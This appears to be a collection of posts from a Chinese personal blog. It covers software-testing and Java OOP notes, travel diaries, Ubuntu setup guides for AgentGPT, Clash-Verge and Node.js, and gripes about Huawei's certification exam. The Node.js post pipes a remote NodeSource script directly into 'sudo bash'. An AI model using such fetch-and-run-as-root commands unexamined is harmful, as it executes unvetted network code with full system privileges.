特点:单元测试通常由开发人员编写,使用测试框架进行自动化执行,可以快速、频繁地运行,帮助捕获和修复代码中的缺陷。 集成/接口自动化测试(Service Testing): 定义:集成/接口自动化测试是对软件系统的不同组件之间的集成和接口进行测试,以验证它们的交互和数据传递的正确性。 目的:确保不同模块或服务之间的集成和接口能够正常工作,数据传递和通信无误。 特点:集成/接口自动化测试通常由测试工程师编写,通过模拟真实的接口调用和数据传递进行测试,可以使用测试框架和工具来自动化执行和验证接口的正确性。 UI自动化测试(UI Testing): 定义:UI自动化测试是针对软件系统的用户界面进行的测试,模拟用户的交互操作和验证界面的正确性。 目的:确保用户界面的功能、布局、交互和可用性符合预期,用户操作时能够正常响应。 特点:UI自动化测试通常由测试工程师编写,使用测试框架和工具模拟用户的交互操作,并验证界面元素的展示和行为是否正确。 ### 苹果apple store正式上线ChatGpt官方APP(美区) 这周通过浏览小红书发布的文章,发现openai正式推出了官方APP(只能使用美区ID下载)。 可以通过输入法输入,也可以通过语音输入信息,APP回复速度比网页版的要快很多。 然后在美区苹果apple store下载chatgpt,注意分辨是否是ChatGPT官方App。一般是排在第一的就是ChatGPT官方App。 可以通过2种方式分辨: 点击进入app,查看开发者是不是openai 查看app发布日期,是2023年5月19日发布的,应该也是ChatGPT官方App. 最后好像不能通过APP付费plus。还有要注意的一个地方就是openai会不会封中国区的账户? 刚断开魔法试了下,能正常使用app。有点担心会被封啊。 ### 九号mmax 110p 一天逛安顶山和同盘顶,机械师太给力了 今天计划去的是安顶山,因为上个星期去了同盘顶,回来的时候发现还剩余好多电。就计划今天去安顶山,就是来回多18KM,应该可以1个来回。 然后下午1点30左右就出发了,一半的路都是在高架桥下面的非机动车道(一半路跟上次去同盘顶路程相同),然后会穿过农村,剩下一半都是沿着富春江骑行,风景还好。 达到安顶山的露台,碰到了应该是玩摩托的人,聊了关于机械师的ABS,就导航回家。高德给的路径是经过同盘顶,然后按照上周日的路径返回,哈,可以试试一天同时逛安顶山和同盘顶。 今天骑行4个小时,行驶92.8KM(要是把电用完,应该能行驶120~130KM),到家还剩下30%的电,还好咬咬牙买大电池,不然骑电瓶车到安顶山和同盘顶是不敢想的。 ### 皈大乡-皈大中学 去年国庆节拍的,处理屋顶塌方的事情,这可能是最后一次在中学了。 房子已经成危房,估计是要拆掉了。 学校里的停车场,后面风景还是挺美的。 ### 接口、抽象、继承定义和区别 接口(Interface)、抽象类(Abstract Class)和继承(Inheritance)是Java面向对象编程中的重要概念。 接口 是一种抽象的类,它定义了一组方法的规范,但没有具体的实现。接口通过关键字interface来定义,其中可以包含常量和抽象方法。其他类可以通过实现(implements)接口来遵循接口定义的规范,并提供具体的方法实现。一个类可以实现多个接口。 下面是一个接口的示例: interface Shape { double calculateArea(); double calculatePerimeter(); } class Circle implements Shape { private double radius; public Circle(double radius) { this.radius = radius; } @Override public double calculateArea() { return Math.PI * radius * radius; } @Override public double calculatePerimeter() { return 2 * Math.PI * radius; } } 在上述代码中,Shape接口定义了两个抽象方法calculateArea和calculatePerimeter。Circle类实现了Shape接口,并提供了具体的方法实现。 通过实现接口,Circle类必须提供这两个方法的具体实现。 抽象 类是一种不能被实例化的类,它可以包含抽象方法和具体方法。抽象方法是没有实现的方法,需要在子类中进行具体实现。抽象类通过关键字abstract来定义。其他类可以继承抽象类,并实现其中的抽象方法。 下面是一个抽象类的示例: abstract class Animal { protected String name; public Animal(String name) { this.name = name; } public abstract void makeSound(); public void sleep() { System.out.println(name + " is sleeping"); } } class Dog extends Animal { public Dog(String name) { super(name); } @Override public void makeSound() { System.out.println("Woof!"); } } 在上述代码中,Animal类是一个抽象类,它包含一个抽象方法makeSound和一个具体方法sleep。Dog类继承自Animal类,并实现了makeSound方法。 由于Animal类是抽象的,不能直接实例化,但可以通过子类Dog进行实例化。 继承 是面向对象编程中实现类之间代码重用的机制。通过继承,一个类(称为子类或派生类)可以从另一个类(称为父类或基类)继承属性和方法,并且可以在子类中添加额外的属性和方法。子类可以通过关键字extends来继承父类。 下面是一个继承的示例: class Vehicle { protected String brand; public Vehicle(String brand) { this.brand = brand; } public void start() { System.out.println("Starting the " + brand); } } class Car extends Vehicle { private int numWheels; public Car(String brand, int numWheels) { super(brand); this.numWheels = numWheels; } public void drive() { System.out.println("Driving the " + brand); } } 在上述代码中,Vehicle类是一个父类,Car类继承自Vehicle类。Car类添加了一个额外的属性numWheels和一个方法drive。 通过继承,Car类可以使用Vehicle类中定义的属性和方法,并且可以扩展自己的功能。 区别 定义和用途: 接口:接口是一组方法规范的定义,它没有具体的实现,并且用于实现类遵循接口定义的行为规范。 抽象类:抽象类是一个类,可以包含抽象方法和具体方法。抽象类用于作为其他类的基类,提供通用的属性和方法实现,并定义一些必须由子类实现的抽象方法。 继承:继承是一种类之间的关系,它允许子类继承父类的属性和方法,并且可以添加自己的属性和方法。 实例化: 接口:接口不能直接实例化,它只能通过实现接口的类来创建对象。 抽象类:抽象类不能直接实例化,它只能作为父类被其他类继承,并由子类实例化。 继承:子类可以实例化,并继承父类的属性和方法。 实现: 接口:一个类可以实现多个接口,通过implements关键字实现接口,并提供接口中定义的方法的具体实现。 抽象类:一个类只能继承一个抽象类,通过extends关键字继承抽象类,并实现抽象类中的抽象方法。 继承:子类通过extends关键字继承父类,并继承父类中的属性和方法。 方法实现: 接口:接口中的方法都是抽象的,没有具体的实现。实现接口的类必须提供方法的具体实现。 抽象类:抽象类中可以包含抽象方法和具体方法。抽象方法没有具体实现,由子类提供实现;具体方法有具体的实现,子类可以直接继承使用。 继承:子类可以继承父类的方法,并根据需要重写或覆盖父类的方法。 构造函数: 接口:接口不能有构造函数。 抽象类:抽象类可以有构造函数,并且在子类实例化时会调用父类的构造函数。 继承:子类可以调用父类的构造函数,并根据需要添加自己的构造函数。 多重继承: 接口:一个类可以实现多个接口,从而达到多重继承的效果。 抽象类:Java中不支持多重继承,一个类只能继承一个抽象类。 ### 重载和重写的定义和区别 Java中的重载(Overloading)和重写(Overriding)是面向对象编程中的两个重要概念。 重载 是指在同一个类中定义多个同名的方法,但它们的参数列表不同(包括参数的个数、类型或顺序)。重载方法具有相同的名称,但是由于参数不同,Java编译器可以根据调用时提供的参数类型和数量,自动选择合适的方法进行调用。重载方法可以有不同的返回类型,但是不能仅根据返回类型来区分重载。 下面是一个重载的例子: public class Calculator { public int add(int a, int b) { return a + b; } public double add(double a, double b) { return a + b; } } 上述代码中,Calculator类定义了两个名为add的方法,一个接收两个整数参数,另一个接收两个浮点数参数。通过方法的参数类型区分,可以在调用时选择合适的方法。 重写 是指在继承关系中,子类重新定义父类中已经存在的方法,但是方法名、参数列表和返回类型都保持一致。重写方法用于在子类中提供特定于子类的实现。子类的重写方法必须具有相同的方法签名,即方法名和参数类型与父类方法一致,返回类型可以是相同类型或其子类型。 下面是一个重写的例子: class Animal { public void makeSound() { System.out.println("Animal makes sound"); } } class Cat extends Animal { @Override public void makeSound() { System.out.println("Meow"); } } 在上述代码中,Animal类定义了一个名为makeSound的方法,而Cat类继承自Animal类并重写了makeSound方法。当调用makeSound方法时,如果对象是Animal类型,则输出"Animal makes sound";如果对象是Cat类型,则输出"Meow"。这就是重写的作用,允许子类对父类的方法进行特定实现。 重载和重写的区别 重载方法在同一个类中定义,参数列表不同,根据参数选择合适的方法。 重写方法在继承关系中定义,子类重新定义父类的方法,提供特定实现。 ### 白盒测试覆盖由弱到强排序 白盒测试定义 白盒测试(White-box testing)是一种软件测试方法,其中测试人员具有对被测试系统的内部结构、设计和代码的详细了解。它也被称为结构测试、透明盒测试或代码驱动测试。 白盒测试的目标是评估软件系统的内部逻辑、路径覆盖和代码质量,以发现潜在的错误、漏洞和缺陷。测试人员根据对系统内部结构的理解,设计测试用例来检查程序的不同部分、条件和路径,以验证其是否按照预期进行操作和输出结果。 在白盒测试中,常用的测试技术包括语句覆盖、分支覆盖、路径覆盖、条件覆盖等。通过这些技术,测试人员可以验证程序的正确性、可靠性和性能,并识别潜在的安全漏洞和性能瓶颈。 与白盒测试相对的是黑盒测试(Black-box testing),黑盒测试仅关注系统的输入和输出,而不考虑其内部结构和实现细节。 综上所述,白盒测试是一种基于对软件系统内部结构的了解,设计测试用例和评估系统的内部逻辑和质量的测试方法。 白盒测试覆盖由弱到强排序 按照覆盖程度从弱到强的顺序排列: 语句覆盖(Statement Coverage):确保每个程序语句都至少执行一次。这是最基本的覆盖级别,测试用例旨在覆盖每个语句的执行路径。 判定覆盖(Decision Coverage)或分支覆盖(Branch Coverage):确保每个分支或判定语句的所有可能取值至少执行一次。测试用例需要覆盖每个条件的不同取值,并验证每个分支的执行情况。 条件覆盖(Condition Coverage):确保每个条件的所有可能取值组合至少执行一次。测试用例需要覆盖每个条件的真和假的取值,以验证每个条件的影响。 判定/条件覆盖(Decision/Condition Coverage):结合判定覆盖和条件覆盖,确保每个判定和条件的所有可能取值组合至少执行一次。 条件组合覆盖(Condition Combination Coverage)是一种白盒测试方法,旨在测试不同条件之间的组合情况,以验证系统在多个条件组合满足或不满足时的行为。 路径覆盖(Path Coverage):确保覆盖系统中的每个可能路径,包括所有分支和循环路径。测试用例需要沿着程序中的每个路径执行,以验证系统的所有可能行为。 即下面的排列顺序 语句覆盖<判断覆盖<条件覆盖<判断条件覆盖<条件组合覆盖<路径覆盖 根据上图可知, 条件覆盖不一定能够满足语句覆盖。 判断覆盖和条件覆盖无法相互比较。 白盒测试方法相互比较 语句覆盖 vs. 判定覆盖: 语句覆盖要求每个程序语句至少执行一次,而判定覆盖要求每个判定或分支语句的所有可能取值至少执行一次。 判定覆盖比语句覆盖更加详细,可以检测到判定语句的各种可能路径和条件。 判定覆盖 vs. 条件覆盖: 判定覆盖关注的是每个判定或分支语句的所有可能取值的覆盖情况。 条件覆盖关注的是每个条件的所有可能取值组合的覆盖情况,包括真和假的情况。 条件覆盖通常更加详细,可以检测到条件之间的相互影响和边界情况。 条件覆盖 vs. 条件组合覆盖: 条件覆盖要求覆盖每个条件的所有可能取值组合。 条件组合覆盖关注的是不同条件之间的组合情况,以验证系统在多个条件组合满足或不满足时的行为。 条件组合覆盖更加细致,可以发现条件之间的相互影响和错误假设。 路径覆盖 vs. 条件覆盖: 路径覆盖要求覆盖系统中的每个可能路径,包括所有分支和循环路径。 条件覆盖关注的是每个条件的所有可能取值组合的覆盖情况。 路径覆盖可以同时覆盖条件覆盖,因为路径上包含了不同条件的执行路径。 然而,路径覆盖的测试工作量通常更大,因为路径组合的数量可能会迅速增长。 ### 周日,骑着九号Mmax 110P到同盘顶逛逛 今天下午睡午觉到3点,然后骑着电瓶车去了同盘顶,来回62.2KM,180min。还是骑电瓶车省钱,开车过去的话要油费,又要保养费。 就是上山的时候看见骑摩托车下来的,一直盯着我,挺尴尬的。 到同盘顶有个陡坡,没修水泥路,骑上去还挺轻松的,没压力。 想着能不能骑到山顶的,不过有个竹竿拦着了,就不上去了。 下山的时候刹车盘和发动机好烫,摸了下,烫手。 山底的游乐场,来了几次都没人玩,应该是没建好。 5点下山回家,在穿过农村的时候,一条小河边发现了一个大黄蜂,还是浙江人有头脑呀,应该没人发现整个地方。 6点06到家 到家学习华为可信工作极考试,这个忒恶心。 最后放上今天骑电瓶车的历程记录 ### 【多图】粉色盛宴,杭州余杭区樱花园中的绚丽花海 拍摄于2022年3月份。 下面的照片有樱花园照片,😁。 ### 杭州萧山同盘顶2022年和2023年的变化(商业化) 萧山的一个山顶,上面是一片茶树,每到采摘茶叶的时候会有人上去采摘茶叶,是一个非常小众的景点,偶偶会有人在哪里露营,现在已经开发成为露营地了,同盘顶山顶的一片荒地,已经做成一片草地了,不知道后面会不会收费。 2022年4月9日 2023年4月8日 这天刚上去的时候,发现突然多了好多人,除了采摘茶叶的,还有其他好多人,还看见一群人在讨论茶园,说了些土质,承包什么的,说这片茶园种的不好🤣。 然后来了一个以为是剧组的人,后面才发现是同盘顶已经开发称为一个露营的地方了,那些人是拍摄露营的。 坐在草地上还被他们赶了,因为我出现在了他们拍视频的背景里了🤣。 不知道一个特别小众的山顶商业化以后,会带来什么,最好别收费。 ### 今天上班路上,在非机动车道上遇到了卧龙,凤雏 今天是遇到奇葩事了,2个电瓶车在停在非机动车道等机动车道的红绿灯,卧槽特么是2个傻子吧。 非机动车道直行,也不是十字路口,不应该看机动车道的红绿灯吧? 这条路骑了快4年了(走斑马线过来的人一个都没遇到),碰到这2个卧龙凤雏直接把我搞懵逼,我都怀疑是不是骑错了?!还特么把非机动车道给堵的死死的。 ### 记录下解决WordPress媒体库一直加载中的问题 wordpress好像是不能使用苹果手机mov格式的视频(即使上传了,文章也用不了mov格式的视频),还跟WPJAM插件有冲突,现象就是加载不出来有mov格式视频的那一页,其他页能正常加载。 我是一个一个插件禁用,然后找到了WPJAM插件,禁用后,媒体库才不会一直加载,再删除mov格式的视频。才解决媒体库一直加载的问题。 媒体库具体报错信息 Warning: file_get_contents(/www/wwwroot/www.saiita.com.cn/wp-includes/images/media/media-video-processing-icon.png): Failed to open stream: No such file or directory in /www/wwwroot/www.saiita.com.cn/wp-includes/functions.php on line 3291 禁用了WPJAM插件后,媒体库一直加载的问题就解决了。就可以删除不支持的mov格式的视频,媒体库就恢复了 ### 难忘五一游钱塘江畔的那些美好瞬间 五月一日 5月1日,我在小红书上看到的一个地方,钱塘江入海口,还可以抓螃蟹,然后就一个人来到了一号店便利超市,停在路边的树林里,人还挺多的。 这次一个人来主要是为了先熟悉一下这里的情况,毕竟这里是我第一次来。天气阴天,水面上波光粼粼,江边的游人络绎不绝,不过人还不算多。 5月1日天气阴天,温度还好。 拍照的时候看到有人在拍婚纱照。 一个人在江边走,陆陆续续看着一家人在哪里挖螃蟹。 然后我顺便看了看,泥地了有好几个洞,旁边有一粒一粒的泥土,应该是螃蟹的屎,没带工具,只能徒手挖,然后居然真的抓到了一个螃蟹,好小的一只。 五月二日 拍的月季,花开的正好,五颜六色的。 高速上车不多,1个小时不到就到了地方,不过去钱塘江人太多了,路上都是人和车。 只能把车停在乡间小路上了,到达目的地,人比昨天还要多,但是不算太多,没有到达人挤人的地步。 今天天气特别好,晴天,今天带了工具,一个洞里都有1个小螃蟹,有了工具一起挖还挺省力的,挖了挺多的螃蟹。 然后看见江边有人在求婚,挺浪漫的。 其他 剩下的3天,睡了2天,1天打酱油,然后五一假期的五天就这么过去了。 ### 在Ubuntu上安装和配置AgengGpt 准备步骤 可以到AgentGPT官网体验下。 官网地址:https://agentgpt.reworkd.ai/zh GitHub:https://github.com/reworkd/AgentGPT API Key:https://platform.openai.com/account/api-keys 然后就是在本地部署AgentGpt,输入自己的API Key,就可以使用了,不过免费送的key,4月1日已经过期了,可惜体验不了AgentGpt了。要不,得开通ChatGPT plus ,然后再使用API Key? API key 过期 下面就是怎么在Ubuntu系统环境下部署AgentGpt 1、git克隆项目到Ubuntu git clone https://github.com/reworkd/AgentGPT.git 2、安装依赖项 cd AgentGPT npm install 3、创建.env,并配置相关配置项 # Deployment Environment: NODE_ENV=development # Next Auth config: # Generate a secret with `openssl rand -base64 32` NEXTAUTH_SECRET=changeme NEXTAUTH_URL=http://localhost:3000 DATABASE_URL=file:./db.sqlite # Your open api key OPENAI_API_KEY=changeme 4、可以sqlite ./prisma/useSqlite.sh 5、运行AgentGpt npx prisma db push npm run dev # 后台运行 nohup npm run dev & 6、浏览器输入http://127.0.0.1:3000 ### 五一期间,在加油站买了2袋快过期的零食 五一期间出去玩,在高速加油站,服务员推销一箱矿泉水,然后送2袋板栗,一共30元。觉得还挺实惠,然后也需要带一些矿泉水。然后就买了一箱矿泉水。 在路上吃了一袋,然后看了一下生产日期和保质期,卧槽快过期了。 生产日期:2021/12/19 保质期:18个月 还算下不就是6月中就要到期了。太黑了这是,不过想想,还没过期也挺好,价格便宜,还能吃一点。 还有一点非常不好吃,里面有有水分,不知道是不是因为可以在微波炉里加热,才会有水分。不过我比较喜欢吃干的板栗。 ### 小区河边捞的河蚌有蚂蝗 倒了点亚甲基蓝,然后蚂蝗就出来了,一共有两个。 小区河边环境挺好的,水也挺清澈。随便捞了2个河蚌和一颗水草。拿到鱼缸里才发现水草大了,塞不下去。 河蚌给鱼缸里的鳑鲏鱼用,养了好久都没有河蚌。就怕河蚌被饿死。 放到鱼缸里 ### 在Ubuntu上配置Clash-Verge-Rev代理:一个详细的教程 Ubuntu 终于可以使用clash,不用担心网络问题而使用不了GitHub了,还有个ChatGPT。 1、下载clash 首先是下载最新版本的,访问GitHub:https://github.com/Dreamacro/clash/releases G github.com 找到clash-linux-amd64-v*.*.*.gz,找到对应的版本 在Ubuntu使用git clone下载 wget https://github.com/clash-verge-rev/clash-verge-rev/releases/download/v2.4.2/Clash.Verge_2.4.2_amd64.deb 给执行权限 chmod +x Clash.Verge_2.4.2_amd64.deb 安装: apt install ./Clash.Verge_2.4.2_amd64.deb 2、配置文件 详细的配置文件获取,可以使用狮子云的魔法工具,Windows 上下载clash客户端,然后在客户端上获取详情的配置 点击编辑-Edit 这里面就是Clash For Ubuntu 的相关配置项 把里面的配置项复制到Ubuntu里的config.yaml。如果直接复制进去,可能会有排版问题。可以查看这篇文章:Vim中排版脚本代码的技巧 3、运行clash 在Ubuntu终端输入clash,就可以运行clash了。 4、配置Ubuntu网络代理 使用vim打开~/.bashrc文件 在配置文件最下面加入 # fi # export PATH=$PATH:/usr/local/bin export http_proxy=http://127.0.0.1:7897 export https_proxy=http://127.0.0.1:7897 export all_proxy=socks5h://127.0.0.1:7897 然后就可以ping下网址,是否已经生效 5、配置clash开启自动启动 打开/etc/systemd/system/clash.service,添加一个clash.service文件夹 填入下面的配置项 [Unit] Description=Clash - A rule-based tunnel in Go Documentation=https://github.com/Dreamacro/clash/wiki [Service] OOMScoreAdjust=-1000 ExecStart=/usr/bin/verge-mihomo -d /home/saiita/.local/share/io.github.clash-verge-rev.clash-verge-rev -f /home/saiita/.local/share/io.github.clash-verge-rev.clash-verge-rev/clash-verge.yaml Restart=on-failure RestartSec=5 [Install] WantedBy=multi-user.target 设置开机自动启动 systemctl enable clash 启动clash systemctl start clash 重启clash systemctl restart clash 停止clash systemctl stop clash 查看状态 systemctl status clash 运行中的状态 root@ITX:/usr/local/bin# systemctl status clash ● clash.service - Clash - A rule-based tunnel in Go Loaded: loaded (/etc/systemd/system/clash.service; enabled; vendor preset: enabled) Active: active (running) since Wed 2023-05-03 20:18:27 CST; 5s ago Docs: https://github.com/Dreamacro/clash/wiki Main PID: 1794860 (clash) Tasks: 13 (limit: 28442) Memory: 8.1M CPU: 164ms CGroup: /system.slice/clash.service └─1794860 /usr/local/bin/clash -f /root/.config/clash/config.yaml 5月 03 20:18:27 ITX systemd[1]: Started Clash - A rule-based tunnel in Go. 5月 03 20:18:27 ITX clash[1794860]: time="2023-05-03T20:18:27+08:00" level=info msg="Start initial compatible provider 故障转移" 5月 03 20:18:27 ITX clash[1794860]: time="2023-05-03T20:18:27+08:00" level=info msg="Start initial compatible provider 自动选择" 5月 03 20:18:27 ITX clash[1794860]: time="2023-05-03T20:18:27+08:00" level=info msg="Start initial compatible provider 狮子云-设计师专业工具" 5月 03 20:18:27 ITX clash[1794860]: time="2023-05-03T20:18:27+08:00" level=info msg="RESTful API listening at: 127.0.0.1:9090" 5月 03 20:18:27 ITX clash[1794860]: time="2023-05-03T20:18:27+08:00" level=info msg="Mixed(http+socks) proxy listening at: [::]:7890" 6、Ubuntu 配置网络代理 在Ubuntu设置中,网络里配置网络代理。 网络代理设置手动。 http(H)、https代理(T),填入127.0.0.1,端口7890。 Socks主机(S),填入127.0.0.1,端口7890。 7、其他 就可以上网了,以后不用担心Ubuntu更新源会出现连接超时的问题了,还有就是树莓派的openwrt不知道怎么配置,配置了好几次,都没成功。还有就是Clash For Windows 也不知道怎么用,从来都没在Windows上使用clash; ### 如何快速在Ubuntu系统上升级Node.js到最新版本 在Ubuntu 直接用apt-get install nodejs安装,版本是v12.22.9,不是最新版本,其他项目如果用到的话,会提示要升级node版本。 root@ITX:/mnt/256G/docker/umami# node -v v12.22.9 可以通过下面的方法解决 curl -fsSL https://deb.nodesource.com/setup_20.x | sudo -E bash - &&\ sudo apt-get install -y nodejs 如果有更新版本可以到github上查看最新版本,然后进行更新。查看node版本 root@ITX:/mnt/256G/docker/umami# node -v npm -v v20.0.0 地址:https://github.com/nodesource/distributions ### 天涯官网已无法打开,一个时代的终结 天涯论坛是中国最早的互联网社区之一,成立于1999年,是一个开放、自由的讨论平台,吸引了大量网民参与。天涯论坛覆盖了众多的话题,包括时事、娱乐、情感、生活等等。 然而据报道,天涯论坛的官方网站在2022年4月份因为管理问题而关闭,无法访问。 大概原因是天涯社区内部已经出现分裂。因无力偿还债务,财产被打包变卖;员工因拖欠工资、拖欠收银机而辞职。目前,公司只剩下大约20名员工。 ### 华为可信考试每周总结 第一周(0424-0430) 周一(424) 查看之前整理的文档,发现部分知识点都有,不过考的太细了,最困难的地方在于知识点太多,记忆力不好,经常忘记,还有Java 代码和数据结构也挺难的。 然后就是刷题库,题库里的题目跟培训资料完全不同,刷题太难了。 华为每周自测考过了,24分钟完成,不过题目已经好几个月没有变化。 最后发现培训视频不全,要自己去搜索相关培训视频,怪不得正式考试经常会遇到没见过的知识点 周二(425) 把参加培训的资料全部整理了一遍,发现基本上知识点都在,而上次考试的自动化框架知识点没有,部分考题也没有。 正式考试的话,基本上是遇到的题目得全部对,剩下靠运行,还有就是每个知识点都要理解,记住。 知识点全部记住,多刷题,还是有可能会过。 周三(426) 终于把相关模块的考题发出来了。 真的太恶心了 还可能设置了权限,之前可能没显示出来(群里给的链接直接打不开,而是web登录账户后,在web链接上复制群里得链接),还有更恶心的只能在公司里刷题。 做了一部分题目,然后才发现哪些知识点没记住,才能把没掌握知给补上,查漏补缺。 之前各种限制,更本就不知道那里没掌握。 知识点太多了,考的又太细,记忆力又太差,记不住啊.还有的题目也是不全的,少了自动化框架,这个月正式考试题目有2到3题,应该是放没出来.不确定是不是故意的 周四(427) 我现在严重怀疑,之前考试通过的人是有专门题目训练的,跟昨天开放的训练题一样,要是这样的做法也忒恶心了。 不然知识点这么多,范围又广,难道过目不忘?看一遍就记住?要不是这样,怎么这么快就通过了? 还有下个月我是不准备参加正式考试,准备充分点,准备6月份考试。 周日(427) 在公司做的笔记和资料训练题只能在红版的welink上查看,不能移出来,公司这做法恶心。 第二周(0501-0507) 周三(503) 基本知识点都在培训视频和培训PDF里,部分知识延申在培训PDF里面放的一些链接上。 然而还是要结合相关题库,不然还是不行。 第三周(0508-0514) 周三(510) 草,怪不得python的可信考试1个月就通过了,今天特地的做了python的模拟自测题目,第一次做就88分,python语言蒙对了三个题目,要是python基础好,100分以上就可以实现,而Java模拟自测,最高一次80分,剩下的都是遇到新题目都是在60~80分。 python的题目除了python代码,其他题目资料练习题都有,做题目的时候那感觉别提多爽了(都是做过的题目),还没有数据结构的题目(比例很少)。 所以不象Java全部做了资料训练题,做Java模拟自测,题目都不到三分之一(做过的题目),跟正式的差不多,剩下的题目都是PPT,边角料的知识点,没三个月的时间学习和背知识点怎么可能会过,必须要把全部的知识点记住,Java通用基础和数据结构必须都知道。太不公平了。 还有知识点必须要有思维导图整理下,每天记知识点,刷题目不是目的,而是查漏补缺没掌握的知识点。 最后今天快下班的时候,听过领导说考试没过直接减人。 第四周(0515-521) 周四(518) Java的题目真恶心,里面有python的题目。还有今天晚上有编码加固,终于把之前没学过的知识给补上了。这个太恶心了。 之前培训知识点都不全,正式考试这么可能会过啊。 第7周(0605-0611) 周四(608) Java语言是完全被抛弃了,真题和相关训练都是python。 培训资料都是缩减过的,所有到了正式考试会有部分知识点没见过,还有每次正式考试都会增加新的知识点。 这下正式考试是难上加难。 第十周(0626-0628) 周二(027) 明天就要参加正式考试了,感觉希望不大。 虽然每周模拟考试都能考过,但是正式考过几率不大。基本知识点和可信框架基本上有印象,但是需要记得知识点太多,大概每个PPT每个字都不是多余的,基本上有3万到4万个字,这个都完全记住是不可能的。 现在就剩下白盒测试和数据结构,Java部分知识点没有完全掌握。明天的考试只能听天由命。 我基本上认为华为公司组织的这个考试,有点像孔乙己教人写1个字,有几种写法一样,为了考试而考试的目的出题,没有多大的实际意义。 对于测试可信学习最大的阻碍在于: 组织的培训和培训资料,并不是完全覆盖,部分知识点是一句话就过 模拟题和每周模拟考试的题目题库,并不是完全覆盖 学习知识点范围巨大,完全记住是不可能的 题目出的过于考脑筋急转弯,为了考试而考试 题目给的标准答案并不是完全正确 在公司学习是不可能完全建立测试可信知识框架 最重要的一点就是:在家学习局限性太大 第十周(0626-0628) 周六(0708) 很遗憾,第三次可信考试没及格,对了37题,差8题及格。 公司组织的可信考试,能过的运气占很大的比例。 ### 周末看看小红书上的一个矿坑景点 小红书上看到的一个矿坑形成的一个小湖,环境不太好,其他人露营带来的垃圾太多,没什么好看的风景,还有一点就是哪里有乌鸦的叫声,不太好。 去矿坑的路上,沿着河边开的,那边的有河提边上有一片草地,看着挺舒心的。 ### 华为可信考试总结 通过这次考试,发现了一些需要改变策略的地方。 第一:参加培训基本上是没用的,因为覆盖的知识点范围特别少(占正式考试题目的三分之一),看参加培训完后的资料就行 第二:最重要的是华为那边的视频,这个是最重要的,需要每天看视频,然后仔细做笔记 第三:不能只记考题,背考题,要理解和记住所有的知识点 第四:做完上面三点,最后只能靠运气了,因为正式考试的题目肯定会超出范围的知识点的题目,培训资料和视频绝对是不全的 然后就是学习知识困难的地方 第一:每周华为模拟自测,考完,不能查看题目,不能查漏补缺,不知道那个地方有问题 第二:正式考试的题目答案不固定,经常有变化,正式考试只能看运气 第三:在家里学习有困难,因为只能在手机上看,还只能是指定的App,屏幕特别小 第四:题库题目范围不全,经常投入大量时间精力,真正收获的知识点很少很少 第五:很排斥在公司学习可信考试 第六:一年只能考3次 第七:知识点太广,需要去记的地方太多 华为可信考试真的是太内耗了,一年考3次,模拟自测不能查看题目,因而不能整理成错题集,不能查漏补缺,而且模拟自测题目就没变化过。 通过上面的整理,感觉就不是真的让员工技能提升,而是设置各种困难让员工去学习,消耗大量时间和精力,而且还只能在公司里学习,耗在公司里,自己主动学习,技能提升就完全不可能实现,留给自己的时间太少了。假如今年和明年考试没通过,是不是要降级,降工资,如果不接受降级的话,是不是会让员工自己离职? 最后也是很困惑那些考试通过的人,是怎么去学习的?学习1个月就能过,加班这么严重,知识点这么多,怎么有大量时间去学习?遇到没学习到的知识点,题目是怎么做对的,神童啊?还是运气成分在里面?太困惑了。 ### 为什么有的人下班后还能学习?? 逛B站看到这个视频对我挺有用的,目前情况就是公司的加班文化太内耗了。 然后评论区有个大神总结的挺好,记录下 如何从易劳体质变成高精力人群 1.目标感 (1)了解自己,知道自己想要的是什么,做一定的取舍; (2)明白自己想要的是什么,明白自己的优势和劣势,了解自己在大环境里的水平,去做自己适合的或者自己喜欢的或者自己想要做的事; (3)减少既要又要的不满足心态; (4)懂得拒绝; (5)定期做复盘,舍弃一些自己不好的原生的习惯,学一些新的好习惯; (6)把所有的时间精力都放在自我提升上。 2.环境 (1)选择去高能量(图书馆、咖啡厅、展览)的环境,减少负能量环境; (2)断舍离(定期把家里不需要的,不再用的东西丢掉); (3)与负能量太多的人保持距离; (4)少听悲伤的音乐。 3.让身体的精力变多 运动、均衡饮食、睡眠、适当化妆。 4.保持高能量的心态 (1)心理暗示-多给自己正面的反馈; (2)课题分离(分清楚这件事情是别人的责任还是你的责任); (3)感恩日志(每天列出3个感恩的东西); (4)学会分辨哪些建议可以听/不用听(选择性的听); (5)学会接纳自己(只要你做你自己,就没有人能比得过你) (6)不要在意自己不能控制的东西/大环境你不可调控的东西(对自己不满意的地方要么接受要么改变) (7)要把重心放在解决问题或者看中问题上,而不是情绪的发泄上。 把关注点放在自己身上,放在自己可控、可改变的东西上,让我们一起改变自己吧! ### 如何看待上海宝马mini冰淇淋事件 提问: 昨天上海车展览,宝马mini,两个员工,崇洋媚外,不给中国人吃冰淇淋,而外国人可以吃。你怎么看待这个问题? 回答: 作为一名AI语言模型,我没有情感和国家身份的偏见。然而,从人类道德和商业道德的角度来看,这种行为是不应该发生的。 如果员工真的对中国消费者有不同的服务态度,这不仅是不尊重客户,也会引起消费者的不满和抵制。这对公司的声誉和业务都会造成负面影响。 从另一个角度看,如果这种行为是因为公司的政策或指示而发生的,那么公司的管理层需要重新考虑他们的商业决策是否符合道德和文化尊重的原则。 总之,任何公司或个人都应该尊重和平等对待所有消费者,无论他们的国籍、种族或文化背景如何。 看到这个实在是不想发表个人意见了,太恶心人了。 ### 《红色领杭·奉献亚运》 作为杭州市民,我们应该积极响应这次活动的号召,以红色精神为引领,以奉献精神为动力,为亚运会的成功举办尽自己的一份力量。同时,也要不断弘扬和传承中国革命精神和体育精神,推动中华民族的伟大复兴。 ### 2023年,第二次考华为可信考试总结 昨天参加了华为的可信考试。考试的第一道题目直接击中了我的软肋,考的是代码的圈复杂度。虽然我答对了,但考试最终没能通过。 在这个月的培训和资料中,并没有关于代码圈复杂度的相关知识。这让我一下子失去了信心。考试后,事实也证明了我的担心。和去年一样,考试所涉及的知识点,培训视频和资料仅占三分之一。而剩下的三分之二几乎都是关于自动化框架的问题。但这方面的培训却没有任何内容,让我感到非常不爽。我白白浪费了很多时间去看培训视频和资料。 总体来看,我做对了考试题目的三分之一以上。还有三分之一的题目我做对了一半以上。 剩下的三分之一涉及到的是自动化框架,这是我完全没有学过的。培训仅涵盖了自动化代码规范,考试中的这部分完全是开盲盒,运气好的话题目基本上就是培训过的。但如果你的运气不好,你将面对那些你没有学过的知识点。这时候,你只能寄希望于培训视频和资料来弥补,然而实际上是完全没有这些资料,你就只能自认倒霉了。 